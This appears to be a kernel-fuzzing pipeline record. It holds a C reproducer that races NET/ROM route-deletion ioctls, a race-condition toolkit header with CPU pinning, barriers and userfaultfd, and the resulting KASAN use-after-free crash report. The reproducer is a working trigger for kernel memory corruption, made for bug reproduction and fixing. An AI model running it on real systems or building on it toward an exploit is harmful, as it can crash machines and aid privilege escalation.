    if (netrom_sk < 0) {
        perror("socket AF_NETROM");
        fprintf(stderr, "Ensure 'netrom' module is loaded.\n");
        return 1;
    }

    memset(&nr_route, 0, sizeof(nr_route));
    nr_route.type = NETROM_NEIGH;
    /* AX.25 callsigns are shifted left by 1 bit */
    nr_route.callsign.ax25_call[0] = 'A' << 1;
    nr_route.callsign.ax25_call[1] = 'B' << 1;
    nr_route.callsign.ax25_call[2] = 'C' << 1;
    nr_route.callsign.ax25_call[3] = 'D' << 1;
    nr_route.callsign.ax25_call[4] = 'E' << 1;
    nr_route.callsign.ax25_call[5] = 'F' << 1;
    nr_route.callsign.ax25_call[6] = (0 << 1);
    strncpy(nr_route.device, ifname, sizeof(nr_route.device));
    nr_route.quality = 100;
    nr_route.ndigis = 0;

    pthread_t t1, t2;

    /* 4. Trigger the race condition */
    TIMER_START(start);
    while (TIMER_NOT_EXPIRED(start, 5.0)) {
        /* Add the neighbour */
        ioctl(netrom_sk, SIOCADDRT, &nr_route);

        barrier = 0;
        pthread_create(&t1, NULL, thread_del, (void *)0);
        pthread_create(&t2, NULL, thread_del, (void *)1);

        usleep(1000);
        SIGNAL(&barrier, 1); /* Release both threads simultaneously */

        pthread_join(t1, NULL);
        pthread_join(t2, NULL);
    }

    close(netrom_sk);
    close(sk);
    close(sfd);
    close(fd);

    return 0;
}]

map[IsProbe:false RawCandidateReproC:#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <linux/tty.h>
#include <linux/if.h>
#include <linux/if_arp.h>
#include <linux/sockios.h>
#include <pthread.h>

#include "race_toolkit.h"

#ifndef N_AX25
#define N_AX25 5
#endif

#ifndef AF_NETROM
#define AF_NETROM 6
#endif

struct ax25_address {
    char ax25_call[7];
};

struct nr_route_struct {
#define NETROM_NEIGH 0
#define NETROM_NODE  1
    int type;
    struct ax25_address callsign;
    char device[16];
    unsigned int quality;
    char mnemonic[7];
    struct ax25_address neighbour;
    unsigned int obs_count;
    unsigned int ndigis;
    struct ax25_address digipeaters[8];
};

int netrom_sk;
struct nr_route_struct nr_route;
int barrier = 0;

void *thread_del(void *arg) {
    PIN_TO_CPU((long)arg);
    WAIT_ON(&barrier, 1);
    ioctl(netrom_sk, SIOCDELRT, &nr_route);
    return NULL;
}

int main() {
    SETUP_UNBUFFERED_IO();

    int fd, sfd, sk;
    int ldisc = N_AX25;
    char ifname[IFNAMSIZ];
    struct ifreq ifr;
    char *pts;

    /* 1. Create a virtual AX.25 interface using a PTY and N_AX25 line discipline */
    fd = posix_openpt(O_RDWR | O_NOCTTY);
    if (fd < 0) { perror("posix_openpt"); return 1; }
    grantpt(fd);
    unlockpt(fd);
    
    pts = ptsname(fd);
    if (!pts) { perror("ptsname"); return 1; }

    sfd = open(pts, O_RDWR | O_NOCTTY);
    if (sfd < 0) { perror("open slave pty"); return 1; }

    if (ioctl(sfd, TIOCSETD, &ldisc) < 0) {
        perror("ioctl(TIOCSETD, N_AX25)");
        fprintf(stderr, "Ensure 'mkiss' module is loaded.\n");
        return 1;
    }

    if (ioctl(sfd, SIOCGIFNAME, ifname) < 0) {
        perror("ioctl(SIOCGIFNAME)");
        return 1;
    }
    printf("Created AX.25 interface: %s\n", ifname);

    /* 2. Bring the interface UP */
    sk = socket(AF_INET, SOCK_DGRAM, 0);
    if (sk < 0) { perror("socket"); return 1; }

    memset(&ifr, 0, sizeof(ifr));
    strncpy(ifr.ifr_name, ifname, IFNAMSIZ);

    if (ioctl(sk, SIOCGIFFLAGS, &ifr) < 0) {
        perror("ioctl(SIOCGIFFLAGS)");
        return 1;
    }

    ifr.ifr_flags |= IFF_UP | IFF_RUNNING;
    if (ioctl(sk, SIOCSIFFLAGS, &ifr) < 0) {
        perror("ioctl(SIOCSIFFLAGS)");
        return 1;
    }

    /* 3. Setup AF_NETROM socket and route struct */
    netrom_sk = socket(AF_NETROM, SOCK_SEQPACKET, 0);
    if (netrom_sk < 0) {
        perror("socket AF_NETROM");
        fprintf(stderr, "Ensure 'netrom' module is loaded.\n");
        return 1;
    }

    memset(&nr_route, 0, sizeof(nr_route));
    nr_route.type = NETROM_NEIGH;
    /* AX.25 callsigns are shifted left by 1 bit */
    nr_route.callsign.ax25_call[0] = 'A' << 1;
    nr_route.callsign.ax25_call[1] = 'B' << 1;
    nr_route.callsign.ax25_call[2] = 'C' << 1;
    nr_route.callsign.ax25_call[3] = 'D' << 1;
    nr_route.callsign.ax25_call[4] = 'E' << 1;
    nr_route.callsign.ax25_call[5] = 'F' << 1;
    nr_route.callsign.ax25_call[6] = (0 << 1);
    strncpy(nr_route.device, ifname, sizeof(nr_route.device));
    nr_route.quality = 100;
    nr_route.ndigis = 0;

    pthread_t t1, t2;

    /* 4. Trigger the race condition */
    TIMER_START(start);
    while (TIMER_NOT_EXPIRED(start, 5.0)) {
        /* Add the neighbour */
        ioctl(netrom_sk, SIOCADDRT, &nr_route);

        barrier = 0;
        pthread_create(&t1, NULL, thread_del, (void *)0);
        pthread_create(&t2, NULL, thread_del, (void *)1);

        usleep(1000);
        SIGNAL(&barrier, 1); /* Release both threads simultaneously */

        pthread_join(t1, NULL);
        pthread_join(t2, NULL);
    }

    close(netrom_sk);
    close(sk);
    close(sfd);
    close(fd);

    return 0;
}]

map[CurrentCandidateReproC:#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <linux/tty.h>
#include <linux/if.h>
#include <linux/if_arp.h>
#include <linux/sockios.h>
#include <pthread.h>

#include "race_toolkit.h"

#ifndef N_AX25
#define N_AX25 5
#endif

#ifndef AF_NETROM
#define AF_NETROM 6
#endif

struct ax25_address {
    char ax25_call[7];
};

struct nr_route_struct {
#define NETROM_NEIGH 0
#define NETROM_NODE  1
    int type;
    struct ax25_address callsign;
    char device[16];
    unsigned int quality;
    char mnemonic[7];
    struct ax25_address neighbour;
    unsigned int obs_count;
    unsigned int ndigis;
    struct ax25_address digipeaters[8];
};

int netrom_sk;
struct nr_route_struct nr_route;
int barrier = 0;

void *thread_del(void *arg) {
    PIN_TO_CPU((long)arg);
    WAIT_ON(&barrier, 1);
    ioctl(netrom_sk, SIOCDELRT, &nr_route);
    return NULL;
}

int main() {
    SETUP_UNBUFFERED_IO();

    int fd, sfd, sk;
    int ldisc = N_AX25;
    char ifname[IFNAMSIZ];
    struct ifreq ifr;
    char *pts;

    /* 1. Create a virtual AX.25 interface using a PTY and N_AX25 line discipline */
    fd = posix_openpt(O_RDWR | O_NOCTTY);
    if (fd < 0) { perror("posix_openpt"); return 1; }
    grantpt(fd);
    unlockpt(fd);
    
    pts = ptsname(fd);
    if (!pts) { perror("ptsname"); return 1; }

    sfd = open(pts, O_RDWR | O_NOCTTY);
    if (sfd < 0) { perror("open slave pty"); return 1; }

    if (ioctl(sfd, TIOCSETD, &ldisc) < 0) {
        perror("ioctl(TIOCSETD, N_AX25)");
        fprintf(stderr, "Ensure 'mkiss' module is loaded.\n");
        return 1;
    }

    if (ioctl(sfd, SIOCGIFNAME, ifname) < 0) {
        perror("ioctl(SIOCGIFNAME)");
        return 1;
    }
    printf("Created AX.25 interface: %s\n", ifname);

    /* 2. Bring the interface UP */
    sk = socket(AF_INET, SOCK_DGRAM, 0);
    if (sk < 0) { perror("socket"); return 1; }

    memset(&ifr, 0, sizeof(ifr));
    strncpy(ifr.ifr_name, ifname, IFNAMSIZ);

    if (ioctl(sk, SIOCGIFFLAGS, &ifr) < 0) {
        perror("ioctl(SIOCGIFFLAGS)");
        return 1;
    }

    ifr.ifr_flags |= IFF_UP | IFF_RUNNING;
    if (ioctl(sk, SIOCSIFFLAGS, &ifr) < 0) {
        perror("ioctl(SIOCSIFFLAGS)");
        return 1;
    }

    /* 3. Setup AF_NETROM socket and route struct */
    netrom_sk = socket(AF_NETROM, SOCK_SEQPACKET, 0);
    if (netrom_sk < 0) {
        perror("socket AF_NETROM");
        fprintf(stderr, "Ensure 'netrom' module is loaded.\n");
        return 1;
    }

    memset(&nr_route, 0, sizeof(nr_route));
    nr_route.type = NETROM_NEIGH;
    /* AX.25 callsigns are shifted left by 1 bit */
    nr_route.callsign.ax25_call[0] = 'A' << 1;
    nr_route.callsign.ax25_call[1] = 'B' << 1;
    nr_route.callsign.ax25_call[2] = 'C' << 1;
    nr_route.callsign.ax25_call[3] = 'D' << 1;
    nr_route.callsign.ax25_call[4] = 'E' << 1;
    nr_route.callsign.ax25_call[5] = 'F' << 1;
    nr_route.callsign.ax25_call[6] = (0 << 1);
    strncpy(nr_route.device, ifname, sizeof(nr_route.device));
    nr_route.quality = 100;
    nr_route.ndigis = 0;

    pthread_t t1, t2;

    /* 4. Trigger the race condition */
    TIMER_START(start);
    while (TIMER_NOT_EXPIRED(start, 5.0)) {
        /* Add the neighbour */
        ioctl(netrom_sk, SIOCADDRT, &nr_route);

        barrier = 0;
        pthread_create(&t1, NULL, thread_del, (void *)0);
        pthread_create(&t2, NULL, thread_del, (void *)1);

        usleep(1000);
        SIGNAL(&barrier, 1); /* Release both threads simultaneously */

        pthread_join(t1, NULL);
        pthread_join(t2, NULL);
    }

    close(netrom_sk);
    close(sk);
    close(sfd);
    close(fd);

    return 0;
}]

map[CompilerError: FormattedReproC:#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <linux/tty.h>
#include <linux/if.h>
#include <linux/if_arp.h>
#include <linux/sockios.h>
#include <pthread.h>

// Copyright 2026 syzkaller project authors. All rights reserved.
// Use of this source code is governed by Apache 2 LICENSE that can be found in the LICENSE file.

// IMPORTANT: Do not copy the macros or definitions below directly into your reproducer.
// Instead, add the following line to your reproducer:
// #include "race_toolkit.h"

// --- Race Condition Toolkit ---
// Macros and snippets for CPU pinning, memory barriers, and userfaultfd.

#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <linux/futex.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <time.h>
#include <unistd.h>

// Unbuffered I/O: Ensure logs are written immediately.
#define SETUP_UNBUFFERED_IO() setvbuf(stdout, NULL, _IONBF, 0)

// CPU Pinning: Pin the current thread to a specific CPU core.
#define PIN_TO_CPU(cpu)                                                \
	do {                                                           \
		cpu_set_t mask;                                        \
		CPU_ZERO(&mask);                                       \
		CPU_SET(cpu, &mask);                                   \
		if (sched_setaffinity(0, sizeof(mask), &mask) == -1) { \
			perror("sched_setaffinity");                   \
		}                                                      \
	} while (0)

// Memory Barrier: Ensure memory ordering.
#define MB() __atomic_thread_fence(__ATOMIC_SEQ_CST)

// Spin-wait Barrier: Wait until a memory location has a specific value.
// Best for tight race windows (low latency, no context switches).
#define WAIT_ON(addr, val)                                               \
	do {                                                             \
		while (__atomic_load_n(addr, __ATOMIC_ACQUIRE) != (val)) \
			;                                                \
	} while (0)

// Signal: Set a memory location to a specific value to release a WAIT_ON.
#define SIGNAL(addr, val) __atomic_store_n(addr, val, __ATOMIC_RELEASE)

// --- Timing Primitives ---
// Robust timing loops in VM environments (using CLOCK_MONOTONIC to avoid time(NULL) jumps).

static inline double timer_elapsed_sec(struct timespec* start)
{
	struct timespec now;
	if (clock_gettime(CLOCK_MONOTONIC, &now) == -1) {
		perror("clock_gettime(CLOCK_MONOTONIC) elapsed");
		exit(1);
	}
	return (double)(now.tv_sec - start->tv_sec) + (double)(now.tv_nsec - start->tv_nsec) / 1e9;
}

// Initialize a monotonic timer variable.
#define TIMER_START(t)                                          \
	struct timespec t;                                      \
	if (clock_gettime(CLOCK_MONOTONIC, &t) == -1) {         \
		perror("clock_gettime(CLOCK_MONOTONIC) start"); \
		exit(1);                                        \
	}

// Check if the elapsed time since 't' is less than 'sec' seconds.
#define TIMER_NOT_EXPIRED(t, sec) (timer_elapsed_sec(&(t)) < (double)(sec))

// Futex-based Event: Shared with syzkaller executor.
// Best for general synchronization or longer waits to save CPU.
typedef struct {
	int state;
} event_t;

static void event_init(event_t* ev)
{
	ev->state = 0;
}
static void event_reset(event_t* ev)
{
	ev->state = 0;
}

static void event_set(event_t* ev)
{
	if (__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE)) {
		fprintf(stderr, "event already set\n");
		exit(1);
	}
	__atomic_store_n(&ev->state, 1, __ATOMIC_RELEASE);
	syscall(SYS_futex, &ev->state, FUTEX_WAKE | FUTEX_PRIVATE_FLAG, 1000000);
}

static void event_wait(event_t* ev)
{
	while (!__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
		syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, 0);
}

// userfaultfd setup: Register a memory range for page fault handling.
static int setup_uffd(void* addr, size_t len)
{
	int uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
	if (uffd == -1)
		return -1;
	struct uffdio_api api = {.api = UFFD_API, .features = 0};
	if (ioctl(uffd, UFFDIO_API, &api) == -1) {
		close(uffd);
		return -1;
	}
	struct uffdio_register reg = {
	    .range = {.start = (uintptr_t)addr, .len = len},
	    .mode = UFFDIO_REGISTER_MODE_MISSING};
	if (ioctl(uffd, UFFDIO_REGISTER, &reg) == -1) {
		close(uffd);
		return -1;
	}
	return uffd;
}

// --- Guidance on Usage ---
// 1. Use WAIT_ON/SIGNAL for tight race conditions to avoid scheduling overhead.
// 2. Use event_t (futexes) for general coordination or when waiting for longer periods.
// 3. Always use PIN_TO_CPU to increase race probability on multi-core systems.
// 4. Use setup_uffd to register a memory range for page fault handling. This allows you to
//    pause a thread accessing that memory until you handle the fault, creating a reliable
//    and controllable race window.
// 5. Call SETUP_UNBUFFERED_IO() at the start of main() to ensure that logs are printed
//    immediately. This is essential for understanding the exact interleaving of events
//    when debugging race conditions.
// 6. For timing-based loops (e.g., running a race for 10 seconds), do NOT use time(NULL)
//    or loops relying on real-time clocks, as VM clocks are highly unreliable and can fail or drift.
//    Instead, use the robust monotonic timing primitives TIMER_START and TIMER_NOT_EXPIRED:
//        TIMER_START(start);
//        while (TIMER_NOT_EXPIRED(start, 10.0)) {
//            // Your race logic here
//        }


#ifndef N_AX25
#define N_AX25 5
#endif

#ifndef AF_NETROM
#define AF_NETROM 6
#endif

struct ax25_address {
    char ax25_call[7];
};

struct nr_route_struct {
#define NETROM_NEIGH 0
#define NETROM_NODE  1
    int type;
    struct ax25_address callsign;
    char device[16];
    unsigned int quality;
    char mnemonic[7];
    struct ax25_address neighbour;
    unsigned int obs_count;
    unsigned int ndigis;
    struct ax25_address digipeaters[8];
};

int netrom_sk;
struct nr_route_struct nr_route;
int barrier = 0;

void *thread_del(void *arg) {
    PIN_TO_CPU((long)arg);
    WAIT_ON(&barrier, 1);
    ioctl(netrom_sk, SIOCDELRT, &nr_route);
    return NULL;
}

int main() {
    SETUP_UNBUFFERED_IO();

    int fd, sfd, sk;
    int ldisc = N_AX25;
    char ifname[IFNAMSIZ];
    struct ifreq ifr;
    char *pts;

    /* 1. Create a virtual AX.25 interface using a PTY and N_AX25 line discipline */
    fd = posix_openpt(O_RDWR | O_NOCTTY);
    if (fd < 0) { perror("posix_openpt"); return 1; }
    grantpt(fd);
    unlockpt(fd);
    
    pts = ptsname(fd);
    if (!pts) { perror("ptsname"); return 1; }

    sfd = open(pts, O_RDWR | O_NOCTTY);
    if (sfd < 0) { perror("open slave pty"); return 1; }

    if (ioctl(sfd, TIOCSETD, &ldisc) < 0) {
        perror("ioctl(TIOCSETD, N_AX25)");
        fprintf(stderr, "Ensure 'mkiss' module is loaded.\n");
        return 1;
    }

    if (ioctl(sfd, SIOCGIFNAME, ifname) < 0) {
        perror("ioctl(SIOCGIFNAME)");
        return 1;
    }
    printf("Created AX.25 interface: %s\n", ifname);

    /* 2. Bring the interface UP */
    sk = socket(AF_INET, SOCK_DGRAM, 0);
    if (sk < 0) { perror("socket"); return 1; }

    memset(&ifr, 0, sizeof(ifr));
    strncpy(ifr.ifr_name, ifname, IFNAMSIZ);

    if (ioctl(sk, SIOCGIFFLAGS, &ifr) < 0) {
        perror("ioctl(SIOCGIFFLAGS)");
        return 1;
    }

    ifr.ifr_flags |= IFF_UP | IFF_RUNNING;
    if (ioctl(sk, SIOCSIFFLAGS, &ifr) < 0) {
        perror("ioctl(SIOCSIFFLAGS)");
        return 1;
    }

    /* 3. Setup AF_NETROM socket and route struct */
    netrom_sk = socket(AF_NETROM, SOCK_SEQPACKET, 0);
    if (netrom_sk < 0) {
        perror("socket AF_NETROM");
        fprintf(stderr, "Ensure 'netrom' module is loaded.\n");
        return 1;
    }

    memset(&nr_route, 0, sizeof(nr_route));
    nr_route.type = NETROM_NEIGH;
    /* AX.25 callsigns are shifted left by 1 bit */
    nr_route.callsign.ax25_call[0] = 'A' << 1;
    nr_route.callsign.ax25_call[1] = 'B' << 1;
    nr_route.callsign.ax25_call[2] = 'C' << 1;
    nr_route.callsign.ax25_call[3] = 'D' << 1;
    nr_route.callsign.ax25_call[4] = 'E' << 1;
    nr_route.callsign.ax25_call[5] = 'F' << 1;
    nr_route.callsign.ax25_call[6] = (0 << 1);
    strncpy(nr_route.device, ifname, sizeof(nr_route.device));
    nr_route.quality = 100;
    nr_route.ndigis = 0;

    pthread_t t1, t2;

    /* 4. Trigger the race condition */
    TIMER_START(start);
    while (TIMER_NOT_EXPIRED(start, 5.0)) {
        /* Add the neighbour */
        ioctl(netrom_sk, SIOCADDRT, &nr_route);

        barrier = 0;
        pthread_create(&t1, NULL, thread_del, (void *)0);
        pthread_create(&t2, NULL, thread_del, (void *)1);

        usleep(1000);
        SIGNAL(&barrier, 1); /* Release both threads simultaneously */

        pthread_join(t1, NULL);
        pthread_join(t2, NULL);
    }

    close(netrom_sk);
    close(sk);
    close(sfd);
    close(fd);

    return 0;
}]

map[CompilerError:]

map[CandidateBugTitle:KASAN: slab-use-after-free Write in nr_neigh_put CandidateCrashReport:==================================================================
BUG: KASAN: slab-use-after-free in instrument_atomic_read_write include/linux/instrumented.h:112 [inline]
BUG: KASAN: slab-use-after-free in atomic_fetch_sub_release include/linux/atomic/atomic-instrumented.h:400 [inline]
BUG: KASAN: slab-use-after-free in __refcount_sub_and_test include/linux/refcount.h:389 [inline]
BUG: KASAN: slab-use-after-free in __refcount_dec_and_test include/linux/refcount.h:432 [inline]
BUG: KASAN: slab-use-after-free in refcount_dec_and_test include/linux/refcount.h:450 [inline]
BUG: KASAN: slab-use-after-free in nr_neigh_put+0x21/0x170 include/net/netrom.h:139
Write of size 4 at addr ffff88810e2e25bc by task syz-executor711/6118

CPU: 0 UID: 0 PID: 6118 Comm: syz-executor711 Not tainted syzkaller #1 PREEMPT(full) 
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
 <TASK>
 dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
 print_address_description mm/kasan/report.c:378 [inline]
 print_report+0xba/0x230 mm/kasan/report.c:482
 kasan_report+0x117/0x150 mm/kasan/report.c:595
 check_region_inline mm/kasan/generic.c:-1 [inline]
 kasan_check_range+0x264/0x2c0 mm/kasan/generic.c:200
 instrument_atomic_read_write include/linux/instrumented.h:112 [inline]
 atomic_fetch_sub_release include/linux/atomic/atomic-instrumented.h:400 [inline]
 __refcount_sub_and_test include/linux/refcount.h:389 [inline]
 __refcount_dec_and_test include/linux/refcount.h:432 [inline]
 refcount_dec_and_test include/linux/refcount.h:450 [inline]
 nr_neigh_put+0x21/0x170 include/net/netrom.h:139
 nr_del_neigh+0x25a/0x2d0 net/netrom/nr_route.c:440
 nr_rt_ioctl+0xd62/0xf90 net/netrom/nr_route.c:682
 sock_do_ioctl+0x101/0x320 net/socket.c:1254
 sock_ioctl+0x5c6/0x7f0 net/socket.c:1375
 vfs_ioctl fs/ioctl.c:51 [inline]
 __do_sys_ioctl fs/ioctl.c:597 [inline]
 __se_sys_ioctl+0xfc/0x170 fs/ioctl.c:583
 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
 do_syscall_64+0x14d/0xf80 arch/x86/entry/syscall_64.c:94
 entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7f3e4416f06b
Code: 00 48 89 44 24 18 31 c0 48 8d 44 24 60 c7 04 24 10 00 00 00 48 89 44 24 08 48 8d 44 24 20 48 89 44 24 10 b8 10 00 00 00 0f 05 <89> c2 3d 00 f0 ff ff 77 1c 48 8b 44 24 18 64 48 2b 04 25 28 00 00
RSP: 002b:00007f3e43937130 EFLAGS: 00000246 ORIG_RAX: 0000000000000010
RAX: ffffffffffffffda RBX: 00007f3e43937cdc RCX: 00007f3e4416f06b
RDX: 00007f3e4420eb40 RSI: 000000000000890c RDI: 0000000000000006
RBP: 0000000000000021 R08: 0000000000000000 R09: 00007f3e439376c0
R10: 0000000000000008 R11: 0000000000000246 R12: ffffffffffffffd0
R13: 0000000000000000 R14: 00007ffc2c2d5db0 R15: 00007ffc2c2d5e98
 </TASK>

Allocated by task 6098:
 kasan_save_stack mm/kasan/common.c:57 [inline]
 kasan_save_track+0x3e/0x80 mm/kasan/common.c:78
 poison_kmalloc_redzone mm/kasan/common.c:398 [inline]
 __kasan_kmalloc+0x93/0xb0 mm/kasan/common.c:415
 kasan_kmalloc include/linux/kasan.h:263 [inline]
 __kmalloc_cache_noprof+0x31c/0x660 mm/slub.c:5380
 kmalloc_noprof include/linux/slab.h:950 [inline]
 nr_add_neigh+0x104/0x520 net/netrom/nr_route.c:392
 nr_rt_ioctl+0xdf9/0xf90 net/netrom/nr_route.c:660
 sock_do_ioctl+0x101/0x320 net/socket.c:1254
 sock_ioctl+0x5c6/0x7f0 net/socket.c:1375
 vfs_ioctl fs/ioctl.c:51 [inline]
 __do_sys_ioctl fs/ioctl.c:597 [inline]
 __se_sys_ioctl+0xfc/0x170 fs/ioctl.c:583
 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
 do_syscall_64+0x14d/0xf80 arch/x86/entry/syscall_64.c:94
 entry_SYSCALL_64_after_hwframe+0x77/0x7f

Freed by task 6118:
 kasan_save_stack mm/kasan/common.c:57 [inline]
 kasan_save_track+0x3e/0x80 mm/kasan/common.c:78
 kasan_save_free_info+0x46/0x50 mm/kasan/generic.c:584
 poison_slab_object mm/kasan/common.c:253 [inline]
 __kasan_slab_free+0x5c/0x80 mm/kasan/common.c:285
 kasan_slab_free include/linux/kasan.h:235 [inline]
 slab_free_hook mm/slub.c:2685 [inline]
 slab_free mm/slub.c:6165 [inline]
 kfree+0x1c1/0x630 mm/slub.c:6483
 __nr_remove_neigh net/netrom/nr_route.c:299 [inline]
 nr_remove_neigh net/netrom/nr_route.c:308 [inline]
 nr_del_neigh+0x246/0x2d0 net/netrom/nr_route.c:439
 nr_rt_ioctl+0xd62/0xf90 net/netrom/nr_route.c:682
 sock_do_ioctl+0x101/0x320 net/socket.c:1254
 sock_ioctl+0x5c6/0x7f0 net/socket.c:1375
 vfs_ioctl fs/ioctl.c:51 [inline]
 __do_sys_ioctl fs/ioctl.c:597 [inline]
 __se_sys_ioctl+0xfc/0x170 fs/ioctl.c:583
 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
 do_syscall_64+0x14d/0xf80 arch/x86/entry/syscall_64.c:94
 entry_SYSCALL_64_after_hwframe+0x77/0x7f

The buggy address belongs to the object at ffff88810e2e2580
 which belongs to the cache kmalloc-64 of size 64
The buggy address is located 60 bytes inside of
 freed 64-byte region [ffff88810e2e2580, ffff88810e2e25c0)

The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x10e2e2
flags: 0x17ff00000000000(node=0|zone=2|lastcpupid=0x7ff)
page_type: f5(slab)
raw: 017ff00000000000 ffff8881000418c0 dead000000000100 dead000000000122
raw: 0000000000000000 0000000800200020 00000000f5000000 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as allocated
page last allocated via order 0, migratetype Unmovable, gfp_mask 0xd2cc0(GFP_KERNEL|__GFP_NOWARN|__GFP_NORETRY|__GFP_COMP|__GFP_NOMEMALLOC), pid 51, tgid 51 (kworker/u9:2), ts 23585057965, free_ts 0
 set_page_owner include/linux/page_owner.h:32 [inline]
 post_alloc_hook+0x231/0x280 mm/page_alloc.c:1889
 prep_new_page mm/page_alloc.c:1897 [inline]
 get_page_from_freelist+0x24dc/0x2580 mm/page_alloc.c:3962
 __alloc_frozen_pages_noprof+0x18d/0x380 mm/page_alloc.c:5250
 alloc_slab_page mm/slub.c:3292 [inline]
 allocate_slab+0x77/0x660 mm/slub.c:3481
 new_slab mm/slub.c:3539 [inline]
 refill_objects+0x331/0x3c0 mm/slub.c:7175
 refill_sheaf mm/slub.c:2812 [inline]
 __pcs_replace_empty_main+0x2e6/0x730 mm/slub.c:4615
 alloc_from_pcs mm/slub.c:4717 [inline]
 slab_alloc_node mm/slub.c:4851 [inline]
 __do_kmalloc_node mm/slub.c:5259 [inline]
 __kmalloc_node_noprof+0x577/0x7c0 mm/slub.c:5266
 kmalloc_node_noprof include/linux/slab.h:1081 [inline]
 __vmalloc_area_node mm/vmalloc.c:3855 [inline]
 __vmalloc_node_range_noprof+0x5d5/0x1730 mm/vmalloc.c:4064
 __vmalloc_node_noprof+0xc2/0x100 mm/vmalloc.c:4124
 alloc_thread_stack_node kernel/fork.c:355 [inline]
 dup_task_struct+0x275/0x9a0 kernel/fork.c:924
 copy_process+0x508/0x3cd0 kernel/fork.c:2050
 kernel_clone+0x248/0x8e0 kernel/fork.c:2653
 user_mode_thread+0x110/0x180 kernel/fork.c:2729
 call_usermodehelper_exec_work+0x5c/0x230 kernel/umh.c:171
 process_one_work kernel/workqueue.c:3276 [inline]
 process_scheduled_works+0xb6e/0x18c0 kernel/workqueue.c:3359
 worker_thread+0xa53/0xfc0 kernel/workqueue.c:3440
page_owner free stack trace missing

Memory state around the buggy address:
 ffff88810e2e2480: 00 00 00 00 00 00 00 00 fc fc fc fc fc fc fc fc
 ffff88810e2e2500: 00 00 00 00 00 00 fc fc fc fc fc fc fc fc fc fc
>ffff88810e2e2580: fa fb fb fb fb fb fb fb fc fc fc fc fc fc fc fc
                                        ^
 ffff88810e2e2600: 00 00 00 00 00 00 00 fc fc fc fc fc fc fc fc fc
 ffff88810e2e2680: 00 00 00 00 00 00 00 00 fc fc fc fc fc fc fc fc
==================================================================
 CandidateReproduced:true ConsoleOutput:Warning: Permanently added '[localhost]:15352' (ED25519) to the list of known hosts.
[  113.070428][ T6098] mkiss: ax0: crc mode is auto.
Created AX.25 interface: ax0
[  113.151101][ T6118] ==================================================================
[  113.155794][ T6118] BUG: KASAN: slab-use-after-free in nr_neigh_put+0x21/0x170
[  113.158624][ T6118] Write of size 4 at addr ffff88810e2e25bc by task syz-executor711/6118
[  113.163716][ T6118] 
[  113.164967][ T6118] CPU: 0 UID: 0 PID: 6118 Comm: syz-executor711 Not tainted syzkaller #1 PREEMPT(full) 
[  113.164987][ T6118] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[  113.164995][ T6118] Call Trace:
[  113.165030][ T6118]  <TASK>
[  113.165038][ T6118]  dump_stack_lvl+0xe8/0x150
[  113.165062][ T6118]  print_report+0xba/0x230
[  113.165077][ T6118]  ? nr_neigh_put+0x21/0x170
[  113.165094][ T6118]  kasan_report+0x117/0x150
[  113.165112][ T6118]  ? nr_neigh_put+0x21/0x170
[  113.165129][ T6118]  kasan_check_range+0x264/0x2c0
[  113.165144][ T6118]  nr_neigh_put+0x21/0x170
[  113.165161][ T6118]  nr_del_neigh+0x25a/0x2d0
[  113.165178][ T6118]  nr_rt_ioctl+0xd62/0xf90
[  113.165196][ T6118]  ? kasan_quarantine_put+0xbb/0x1f0
[  113.165209][ T6118]  ? __pfx_nr_rt_ioctl+0x10/0x10
[  113.165227][ T6118]  ? apparmor_capable+0x126/0x170
[  113.165244][ T6118]  ? capable+0x88/0xe0
[  113.165261][ T6118]  ? nr_ioctl+0x1b1/0x3b0
[  113.165275][ T6118]  sock_do_ioctl+0x101/0x320
[  113.165290][ T6118]  ? __pfx_sock_do_ioctl+0x10/0x10
[  113.165300][ T6118]  ? rcu_core+0xd13/0x1070
[  113.165320][ T6118]  sock_ioctl+0x5c6/0x7f0
[  113.165332][ T6118]  ? __pfx_sock_ioctl+0x10/0x10
[  113.165343][ T6118]  ? __fget_files+0x2a/0x420
[  113.165354][ T6118]  ? __fget_files+0x3a0/0x420
[  113.165364][ T6118]  ? __fget_files+0x2a/0x420
[  113.165375][ T6118]  ? bpf_lsm_file_ioctl+0x9/0x20
[  113.165391][ T6118]  ? __pfx_sock_ioctl+0x10/0x10
[  113.165401][ T6118]  __se_sys_ioctl+0xfc/0x170
[  113.165415][ T6118]  do_syscall_64+0x14d/0xf80
[  113.165433][ T6118]  ? entry_SYSCALL_64_after_hwframe+0x77/0x7f
[  113.165445][ T6118]  entry_SYSCALL_64_after_hwframe+0x77/0x7f
[  113.165455][ T6118] RIP: 0033:0x7f3e4416f06b
[  113.165468][ T6118] Code: 00 48 89 44 24 18 31 c0 48 8d 44 24 60 c7 04 24 10 00 00 00 48 89 44 24 08 48 8d 44 24 20 48 89 44 24 10 b8 10 00 00 00 0f 05 <89> c2 3d 00 f0 ff ff 77 1c 48 8b 44 24 18 64 48 2b 04 25 28 00 00
